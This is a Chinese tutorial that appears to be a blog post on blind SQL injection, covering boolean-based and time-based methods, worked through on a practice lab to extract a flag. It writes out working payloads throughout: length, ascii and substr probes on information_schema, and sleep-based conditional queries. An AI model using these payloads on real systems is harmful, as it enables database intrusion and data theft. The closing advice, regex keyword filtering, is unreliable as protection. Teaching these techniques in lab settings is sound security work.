渗透测试基础-盲注(布尔盲注和时间盲注)

渗透测试基础-盲注

    • 布尔盲注和时间盲注
    • 盲注实现的关键函数
    • 布尔盲注靶场演练
    • 时间盲注靶场演练
    • 漏洞总结

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力!

盲注的特点如它的名字那样,它关闭了因恶意语句而导致的报错,也没有了像显错注入那样醒目的提醒。它的提示会很隐晦,就看我们有没有能力能让它显现出来。

布尔盲注和时间盲注

盲注也分布尔盲注时间盲注,这里分别来了解一下各自的区别

布尔盲注:相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,我们就可以规定为布尔盲注。

时间盲注:它比布尔盲注更加神秘,不管你输入什么,页面都还是那个页面,不会因为你的某些条件而发生变化,但这里,如果结合巧妙的语句,让其某些条件的达成,页面会晚一点回复数据,这样就是基于时间的盲注。(这里可能说的不好,等下结合靶场看)

盲注实现的关键函数

学习盲注之前,我们得先学习几个函数
lentgh() ascii() substr() if()

  1. length() 用来识别括号内字符串的长度
    渗透测试基础-盲注(布尔盲注和时间盲注)_第1张图片
  2. ascii() 是基于拉丁字母的一套电脑编码系统,到目前为止,一共定义了128个字符

    所以在这里,ascii()函数可以将单个字符串转换为ASCII码

渗透测试基础-盲注(布尔盲注和时间盲注)_第2张图片
3. substr()这是一个分割函数,它需要三个参数substr(“需要分割的数据”,“从哪里开始分割”,“分割多少位”)看图片了解一下
渗透测试基础-盲注(布尔盲注和时间盲注)_第3张图片
4. if()函数,基本在很多的编程语言都有接触到。在这里它也需要三个参数:if(“条件”,“条件为True,执行这里”,“条件为False,执行这里”)看图片了解详情
渗透测试基础-盲注(布尔盲注和时间盲注)_第4张图片

布尔盲注靶场演练


这里我选择用浏览器插件HackBar来做题,因为会频繁改数据,这样会更方面一点。

靶场打开,能看到现在的查询结果为“有数据”。我们开始进行测试。

测试语句:
and 1 like 2
(like和等于有着相同的效果。这里开始会慢慢引进一些bypass语句的小技巧,因为在正常的测试中,等号,单引号这些符号大概率都会被过滤掉)
渗透测试基础-盲注(布尔盲注和时间盲注)_第5张图片
当条件为False时,下面的查询结果也发生了变化,所以这里我们能判断执行语句之后的对错与否,结合上面学到函数,我们就可以判断当前库名的长度

测试语句:
and length((select database()))>1
渗透测试基础-盲注(布尔盲注和时间盲注)_第6张图片

大于11,小于12,说明当前的库名长度等于12,有了长度,我们就得获取准确数据了,结合ascii(),substr()一起的组合,来获取具体的库名。

测试语句:
and ascii(substr((select database()),1,1))>1

这个语句是这样理解的,select database()获取当前的库名,substr从第一个字母开始截取,截取了一位,ascii将截取的一位转换为ascii码,在让转换的ascii码1去做比较,可得出True或者False的结果

经过测试,得到当前库名第一个ascii码为107,对照ascii码k。几次对比,我觉得太过麻烦了,所以我根据网上已有的文章,自己编写了一个python脚本,能快速解码数据(代码如下)这种测试太过繁琐了,我们还是借助Burp工具来完成。

ascii码转换脚本:

import hashlib 

print ('--------------ASCII(quit退出)---------------')
def number(a):
    b = a.split()     #括号填写分割符号,我喜欢用空格,所以这里是空格自动处理
    for i in b:
        i = int(i)
        print (chr(i),end='')
    print ("\n")

def string(a):
    b = a.split()     #括号填写分割符号,我喜欢用空格,所以这里是空格自动处理
    for i in b:
        print (ord(i),end=' ')
    print ("\n")

    
print('1.数字=>英文'+'\n'+'2.英文=>数字')
problem = int(input())
while True:
    if problem == 1:
        a = input("数字=>英文(一个或多个): ")
        number(a)
        if a == 'quit':
            break
    elif problem == 2:
        a = input("英文=>数字(一个或多个): ")
        string(a)
        if a == 'quit':
            break

渗透测试基础-盲注(布尔盲注和时间盲注)_第7张图片
现在数据是跑出来了,就差拿着全部数据解码了,但我这有更高效便捷的方法。(看下图)

渗透测试基础-盲注(布尔盲注和时间盲注)_第8张图片
看起来就几个步骤,但没有技巧的话,操作其实还挺麻烦的,接着看。

渗透测试基础-盲注(布尔盲注和时间盲注)_第9张图片
渗透测试基础-盲注(布尔盲注和时间盲注)_第10张图片
渗透测试基础-盲注(布尔盲注和时间盲注)_第11张图片
这样记录起来就会很方便,输入得到的ascii码,就得到了当前的库名
渗透测试基础-盲注(布尔盲注和时间盲注)_第12张图片
既然方法能行,那就用mysql自带库的方法,获取我们需要的flag值

测试语句:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1
先确定每个表的长度

渗透测试基础-盲注(布尔盲注和时间盲注)_第13张图片
根据几次尝试,发现库里有三个表,长度分别为6,4,4。接下来去获得具体的数据

测试语句:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1
渗透测试基础-盲注(布尔盲注和时间盲注)_第14张图片
根据第一个结果,我发现已经有flag数值了,所以就不继续找另外两个表明了(在实战环境中,其实能得到一到两个表名就可以了,再多就有谋取别人数据的嫌疑了)拿着这个表名,去获得字段名

测试语句:
and length((select column_name from information_schema.columns where table_schema=database() and table_name=0x6c6f666c6167 limit 0,1))=1
还是先获得字段名的长度先
渗透测试基础-盲注(布尔盲注和时间盲注)_第15张图片
经过测试发现这里有两个字段,长度分别为2和6,直接测试第二个字段具体是什么数据

测试语句:
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6c6f666c6167 limit 1,1),1,1))>1

渗透测试基础-盲注(布尔盲注和时间盲注)_第16张图片
得到字段名为flaglo,拿上表名加字段名,去获取flag数据,当然还是以先获得数据的长度开始

测试语句:
and length((select flaglo from loflag limit 0,1))>1
渗透测试基础-盲注(布尔盲注和时间盲注)_第17张图片
长度为8,去获得具体的数据

测试语句:
and ascii(substr((select flaglo from loflag limit 0,1),1,1))>1

渗透测试基础-盲注(布尔盲注和时间盲注)_第18张图片
这样就得到了本题的flag。

时间盲注靶场演练

因为有前者布尔盲注的铺垫,基本知识点都已经提到了,所以,直接上测试语句解析

测试语句:
"and if(length((select database()))>1,sleep(3),1)-- qwe
这里语句的解析是,如果当前库名的长度大于1,就延时3秒返回数据,否则,就马上返回数据
渗透测试基础-盲注(布尔盲注和时间盲注)_第19张图片
渗透测试基础-盲注(布尔盲注和时间盲注)_第20张图片
根据图片我们能看出,网页确实晚了3秒,才将数据发过来,所以我们的的语句就是这样构建的

测试语句(确定当前库名长度):
"and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,sleep(3),1)-- qwe

测试语句(确定当前库名数据)
"and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,sleep(3),1)-- qwe

具体的操作在布尔盲注已经有了,这里就不在继续赘述了。

漏洞总结

这里的防护方法,可采用正则匹配来过滤关键函数,如ascii和substr,还有单双引号等,这样就能有效预防注入的发生。

《最好的防御,是明白其怎么实施的攻击》

你可能感兴趣的:(SQL注入,python,mysql,visual,studio,code)